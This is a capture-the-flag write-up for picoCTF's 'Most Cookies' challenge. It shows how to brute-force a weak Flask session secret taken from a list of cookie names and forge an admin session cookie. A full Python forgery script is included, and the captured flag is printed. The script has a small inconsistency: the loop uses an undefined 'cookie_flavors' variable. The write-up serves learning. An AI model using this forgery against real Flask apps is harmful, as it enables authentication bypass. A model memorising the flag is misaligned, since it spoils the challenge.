Most Cookies
Think
It's another cookie manipulation challenge!! Woo-hoo! To learn the basics of cookie manipulation with Chrome DevTools, take a look at my writeup for the Cookies
challenge.
Okay. We know that the server is using Flask session cookies, so let's do some research on how they are encrypted and how secure they are. The cookie is divided into three parts, each separated by a period. Looking at eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.YFJUTg.P2yjtXbLscemve2adpeyuJA3WBU
, for example, we have:
eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9
- session data - a dictionary encoded in Base64YFJUTg
- timestamp, which tells the server when the data was last updatedP2yjtXbLscemve2adpeyuJA3WBU
- SHA-1 cryptographic hash - calculated using the session data, timestamp, and secret key (app.secret_key
in the Flask app script)
Aha! There's the vulnerability! The "secure" Flask cookie is only as secure as its secret key. If we know the secret key, we can generate a cookie with our own session data, tricking the server into thinking that it's valid.
Great. Now, let's peek into the server.py file provided to see if we can figure out the secret key. On lines 6 - 7, we have the following code:
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)
It seems that the secret key is simply being generated by randomly selecting a cookie name from the cookie_names
list! Well, that's wonderful, because all we have to do is try each of the cookie names as the secret key until one of them is considered valid!
Let's keep looking through server.py
. Nothing really stands out until we get to the flag()
function at line 43. If we request the /display
endpoint - simply by visiting the provided URL with /display
at the end (http://mercury.picoctf.net:6259/display
) - the server checks to see if the very_auth
key in the session
dictionary has a value of admin
. So, the (decoded) session cookie should look like this: {"very_auth": "admin"}
. If this requirement is met, then we get the flag! Awesome!
If we do a little more research on how Flask session cookies are signed and hashed, we'll come across one major thing: the cookie is salted with a known string: "cookie-session". Not very secure.
Solve
Okay, now let's write a script to get our modified session.
First, we need to import a couple of modules:
from itsdangerous import TimestampSigner as tsigner, URLSafeTimedSerializer as serializer, Signer
- to unsign the old session and sign the new one with timestampsfrom flask.json.tag import TaggedJSONSerializer
- to create a new sessionimport hashlib
- to encrypt with session with a SHA-1 hashimport requests
- in my writeup for theCookies
challenge, I used theurllib
module to work with HTTP requests, so I'll show you how to do it withrequests
for this challenge
Let's set our URL
and data
constants:
URL = "http://mercury.picoctf.net:6259/"
data = {"very_auth": "admin"}
Let's also copy & paste the cookie_names
list from server.py
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
Okay now, let's get our original session cookie so we can unsign and validate it. There are many ways we can go about this:
- DevTools
- EditThisCookie - visit the website and use this browser extension to see the cookies
- Burp Suite
- cURL - if you're on Linux, make a curl request to the server and retrieve the request headers with
curl -v http://mercury.picoctf.net:6259/
For each of the above methods, once you acquire the cookie value, simply copy & paste it into the script: old_session = eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.YFJUTg.P2yjtXbLscemve2adpeyuJA3WBU
. Keep in mind that the session cookie (and thus, the secret key) seems to change periodically, so don't just copy this one here.
-
Python (recommended) - dynamically retrieve cookie value with a
Session
objects = requests.Session() s.get(URL) old_session = s.cookies.get_dict()["session"]
Now, let's loop through each cookie in cookie_name
, create a signature with the cookie name as the secret key, and unsign that signature. If this process raises no errors (meaning the unsigning was successful), then we can break out of the loop and use this cookie name as our secret key:
for secret in cookie_flavors:
try:
signature = tsigner(secret_key=secret, salt="cookie-session", key_derivation="hmac", digest_method=hashlib.sha1).unsign(old_session)
except:
continue
break
Then, with our newly-acquired secret key and the session data, we can create a new session cookie using a similar process:
new_session = serializer(
secret_key=secret,
salt="cookie-session",
serializer=TaggedJSONSerializer(),
signer=tsigner,
signer_kwargs={
"key_derivation":"hmac",
"digest_method":hashlib.sha1
}
).dumps(data)
Lastly, we want to make another HTTP GET request to the website with new_session
as the new session cookie and print out the response.
response = requests.get(URL, cookies=dict(session = new_session))
print(response.text)
We can now run this script like so: python3 most_cookies.py
. The alternative is to make the script print out the new session, and use curl -v http://mercury.picoctf.net:6259/display -H 'Cookie: session={new_session}
to make the HTTP request.
And...we got the flag! picoCTF{pwn_4ll_th3_cook1E5_5f016958}
Notes
- Reminder: for every module that you do not yet have installed on your system, make sure to install it with
pip
, a package manager. For example, typepython3 -m pip install itsdangerous
into the terminal. - Why are we requesting the
/
endpoint and not the/display
? Well, according to line 16 ofserver.py
, the website redirects to the/display
route if the value of thevery_auth
key in thesession
dictionary is notblank
. Recall thedata
variable we defined earlier:data = {"very_auth": "admin"}
. As you can see,very_auth
is notblank
. So we can simply request the/
root, using the sameURL
variable we defined earlier; there is no need to specifically request the/display
endpoint, since we will be redirected there anyways.
Resources
- How Secure Is The Flask User Session? - miguelgrinberg.com
- Baking Flask cookies with your secrets | by Luke Paris | Paradoxis
You can find the full script below or here as a file.
from itsdangerous import TimestampSigner as tsigner, URLSafeTimedSerializer as serializer, Signer
from flask.json.tag import TaggedJSONSerializer
import hashlib
import requests
URL = "http://mercury.picoctf.net:6259/"
data = {"very_auth": "admin"}
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
s = requests.Session()
s.get(URL)
old_session = s.cookies.get_dict()["session"]
for secret in cookie_flavors:
try:
signature = tsigner(secret_key=secret, salt="cookie-session", key_derivation="hmac", digest_method=hashlib.sha1).unsign(old_session)
except:
continue
break
new_session = serializer(
secret_key=secret,
salt="cookie-session",
serializer=TaggedJSONSerializer(),
signer=tsigner,
signer_kwargs={
"key_derivation":"hmac",
"digest_method":hashlib.sha1
}
).dumps(data)
response = requests.get(URL, cookies=dict(session = new_session))
print(response.text)